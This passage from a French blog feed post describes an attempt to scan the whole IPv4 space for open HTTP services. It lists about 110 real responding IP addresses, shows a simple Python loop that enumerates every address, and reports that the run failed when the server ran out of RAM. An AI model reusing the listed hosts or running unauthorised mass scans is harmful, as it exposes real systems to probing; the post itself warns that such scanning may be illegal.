http://213.82.219.249
http://213.82.220.201
http://213.82.220.202
http://213.82.220.212
http://213.82.220.215
http://213.82.220.217
http://213.82.220.216
http://213.82.220.218
http://213.82.220.219
http://213.82.220.220
http://213.82.220.221
http://213.82.220.222
http://213.82.220.223
http://213.82.220.224
http://213.82.220.225
http://213.82.220.226
http://213.82.220.227
http://213.82.220.228
http://213.82.220.229
http://213.82.220.230
http://213.82.220.232
http://213.82.220.233
http://213.82.220.234
http://213.82.220.236
http://213.82.220.237
http://213.82.220.238
http://213.82.220.239
http://213.82.220.240
http://213.82.220.241
http://213.82.220.242
http://213.82.220.243
http://213.82.220.244
http://213.82.220.245
http://213.82.220.246
http://213.82.220.248
http://213.82.220.247
http://213.82.220.249
http://213.82.221.106
http://213.82.221.107
http://213.82.221.108
http://213.82.221.110
http://213.82.222.145
http://213.82.224.134
http://213.82.224.181
http://213.82.224.182
http://213.82.225.132
http://213.82.225.133
http://213.82.225.134
http://213.82.225.139
http://213.82.226.21
http://213.82.226.177
http://213.82.226.212
http://213.82.227.19
http://213.82.227.50
http://213.82.227.188
http://213.82.229.34
http://213.82.229.36
http://213.82.230.145
http://213.82.231.220
http://213.82.231.222
http://213.82.232.90
http://213.82.232.91
http://213.82.232.93
http://213.82.233.6
http://213.82.233.25
http://213.82.233.90
http://213.82.233.174
http://213.82.235.142
http://213.82.237.4
http://213.82.237.5
http://213.82.237.42
http://213.82.237.233
http://213.82.237.234
http://213.82.237.238
http://213.82.237.237
http://213.82.238.134
http://213.82.239.114
http://213.82.239.155
http://213.82.239.156
http://213.82.239.182
http://213.82.241.1
http://213.82.243.85
http://213.82.244.75
http://213.82.244.77
http://213.82.244.206
http://213.82.244.205
http://213.82.246.98
http://213.82.246.158
http://213.82.247.42
http://213.82.248.130
http://213.82.248.250
http://213.82.249.210
http://213.82.249.218
http://213.82.249.219
http://213.82.249.220
http://213.82.249.221
http://213.82.249.222
http://213.82.249.236
http://213.82.249.235
http://213.82.249.237
http://213.82.251.35
http://213.82.251.37
http://213.82.251.36
http://213.82.254.19
http://213.82.254.20
http://213.82.254.27
http://213.82.254.70
http://213.82.254.122
http://213.82.254.130
http://213.82.254.195
</code></pre></div></div>
<p><img src="../../../../assets/img/1.png" alt="Output du terminal" />
<img src="../../../../assets/img/2.png" alt="Temps d'exécution" /></p>

<h2 id="vers-le-scan-global-laventure-commence">Vers le scan global : l’aventure commence</h2>

<p>Fort de ce premier succès, j’ai décidé de passer à la vitesse supérieure : scanner la totalité de l’espace IPv4, de 0.0.0.0 à 255.255.255.255, cette fois sur un VPS Oracle.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Adresses IP avec la range de toute la planète
</span><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
    <span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
        <span class="k">for</span> <span class="n">k</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
            <span class="k">for</span> <span class="n">l</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">256</span><span class="p">):</span>
                <span class="n">ip</span> <span class="o">=</span> <span class="sa">f</span><span class="s">"</span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">.</span><span class="si">{</span><span class="n">j</span><span class="si">}</span><span class="s">.</span><span class="si">{</span><span class="n">k</span><span class="si">}</span><span class="s">.</span><span class="si">{</span><span class="n">l</span><span class="si">}</span><span class="s">"</span>
                <span class="k">print</span><span class="p">(</span><span class="n">Fore</span><span class="p">.</span><span class="n">YELLOW</span>  <span class="o">+</span> <span class="sa">f</span><span class="s">"File d'attente : </span><span class="si">{</span><span class="n">ip</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>
                <span class="n">q</span><span class="p">.</span><span class="n">put</span><span class="p">(</span><span class="n">ip</span><span class="p">)</span>
</code></pre></div></div>

<p><img src="../../../../assets/img/3.png" alt="Scan qui tourne dans un service" /></p>

<p>J’ai lancé le scan, prêt à monitorer la progression sur plusieurs jours, tout en surveillant la charge du serveur.</p>

<h2 id="les-limites-du-réel-la-ram-comme-talon-dachille">Les limites du réel : la RAM comme talon d’Achille</h2>

<p>Mais la réalité technique a vite rattrapé l’expérience : la RAM du VPS a saturé bien avant la fin du scan global.<br />
Impossible d’aller au bout du processus sans revoir l’optimisation du script ou investir dans une machine plus puissante.</p>

<h2 id="bilan-et-réflexions">Bilan et réflexions</h2>

<p>Même si le scan global n’a pas pu aboutir, l’expérience fut riche d’enseignements.<br />
Elle m’a permis de mieux comprendre l’ampleur d’un scan massif, la gestion des ressources système, l’importance du multithreading, et les limites imposées par l’infrastructure.</p>

<p>Ce projet m’a aussi rappelé que derrière chaque adresse IP, il y a potentiellement un service, une histoire, une vulnérabilité ou une opportunité.</p>

<blockquote>
  <p><strong>Note importante</strong><br />
Ce projet de cybersécurité a été mené dans un cadre strictement éducatif, pour promouvoir la sensibilisation à la sécurité informatique.<br />
Scanner des réseaux publics sans autorisation peut être illégal ou contraire à l’éthique. Restez toujours dans un cadre légal et responsable.</p>
</blockquote>

<p><em>Update : Les résultats du scan global ne seront finalement pas publiés, suite à un souci d’optimisation de la RAM du VPS qui a été saturée. L’aventure continue…</em></p>]]></content><author><name>Keany Vy Khun</name></author><category term="réseau" /><category term="recherches" /><summary type="html"><![CDATA[Il y a des idées qui surgissent sans prévenir, souvent à la croisée de la curiosité et de l’envie de repousser les limites. Un soir, alors que je réfléchissais à l’immensité d’Internet, une question m’a traversé l’esprit : et si je scannais toutes les adresses IPv4 publiques de la planète ? Un défi un peu fou, mais irrésistible pour tout passionné de réseau et de cybersécurité.]]></summary></entry></feed>